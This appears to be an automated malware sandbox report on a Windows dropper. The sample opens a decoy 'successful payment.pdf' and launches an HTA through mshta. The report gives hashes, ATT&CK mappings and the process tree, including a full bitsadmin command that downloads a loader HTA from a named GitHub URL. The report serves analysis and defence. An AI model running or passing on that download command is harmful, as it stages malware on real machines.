bb80103ac259b0a260fe3fabea6c6ceedf4286f43b24665a9ec30bc1b19bd267

Analysis

max time kernel
59s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/03/2025, 05:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Files/115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe
Size

106KB
MD5

af96147082306e597383ea83924d92ec
SHA1

2e092326740df77598ac3cb2898ae6adfb9f100f
SHA256

115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316
SHA512

b141e8eab204af1cff7d460974b04bf51cef24e70b7537f76862f6f633aa1eefb8fdbbb8ec9d7cb6dab0e97244eff560bdcc785bf64a253c40cb3c42c84bc7db
SSDEEP

3072:+fWi4MdM81BorInbhk9H+ZifSKf+nbGOD5zMQUM:+z4MdM8for0iSKgNIQ

Score

8^/10

discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2736	bitsadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2508	AcroRd32.exe
2508	AcroRd32.exe
2508	AcroRd32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2508	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	31
PID 2368 wrote to memory of 2508	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	31
PID 2368 wrote to memory of 2508	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	31
PID 2368 wrote to memory of 2508	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	31
PID 2368 wrote to memory of 1492	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	32
PID 2368 wrote to memory of 1492	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	32
PID 2368 wrote to memory of 1492	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	32
PID 2368 wrote to memory of 1492	2368	115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe	32
PID 1492 wrote to memory of 2736	1492	mshta.exe	33
PID 1492 wrote to memory of 2736	1492	mshta.exe	33
PID 1492 wrote to memory of 2736	1492	mshta.exe	33
PID 1492 wrote to memory of 2736	1492	mshta.exe	33

C:\Users\Admin\AppData\Local\Temp\Files\115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe
"C:\Users\Admin\AppData\Local\Temp\Files\115059fe4fc5402a68c1e19acec336dd7cb180ef5433510d715d54e495e04316.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\successful payment.pdf"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2508
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\1.hta"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\SysWOW64\bitsadmin.exe
    "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/ruthmooregmuax/ruthmooregmuax/raw/refs/heads/main/tarksloader.hta C:\Users\Admin\AppData\Local\Temp\tarksloader.hta
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\1.hta

Filesize
954B

MD5
6b2bf08de9b0ce2b2e036e69d4641bd6

SHA1
4387ae0f72653905093cb868590d4cf2c9591c20

SHA256
ac1a237a5a1002cf5103e24b558b2719bc343e3df114e791e914439f08d3b46e

SHA512
292990b477aaa7b983bd08ee988e9f8dcd1761737f674b3e858373fc5e9d785b646f237e588c072b5984756a557226b143d2356b3ce17fc8efe682a0be3414f2

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
29728ba8c12ecb953ec73a4fd9881dc3

SHA1
a7edf831dc406d2158390b06a792319bc0a1bcfc

SHA256
567de9df89f5d17048df1e55f856550b9c28e6ebbc2c3710e43f09cb45347f26

SHA512
a876f97ac20523e04bb33ce86e52e42abdfd95be2354ebfcf3b6fcef62ff342dad43dc7c763d7ab1ad74c3f1cc5957797288d52c56e1016c857d67e1df073594

Download Submit
C:\Users\Admin\AppData\Roaming\successful payment.pdf

Filesize
89KB

MD5
609c3fe620acd93745b01a2115dfb2ea

SHA1
8552ce163f5bdd8e729091416f961d2e3cff53d1

SHA256
be1c0ba85aa8a85432f3e8764517a8aec6e34dcbc807f6f122b9f2895ba2b850

SHA512
96b9ab8f4fd84980b75760279273d815b7ec16b9ef6a0582c5bb539f3a58a6430f5208089203f341755b0821f3c29144f509b5f285e97bd1af4d9dc9361de344

Download Submit
memory/2368-0-0x000007FEF5B63000-0x000007FEF5B64000-memory.dmp

Filesize
4KB

Download
memory/2368-1-0x00000000000D0000-0x00000000000F0000-memory.dmp

Filesize
128KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads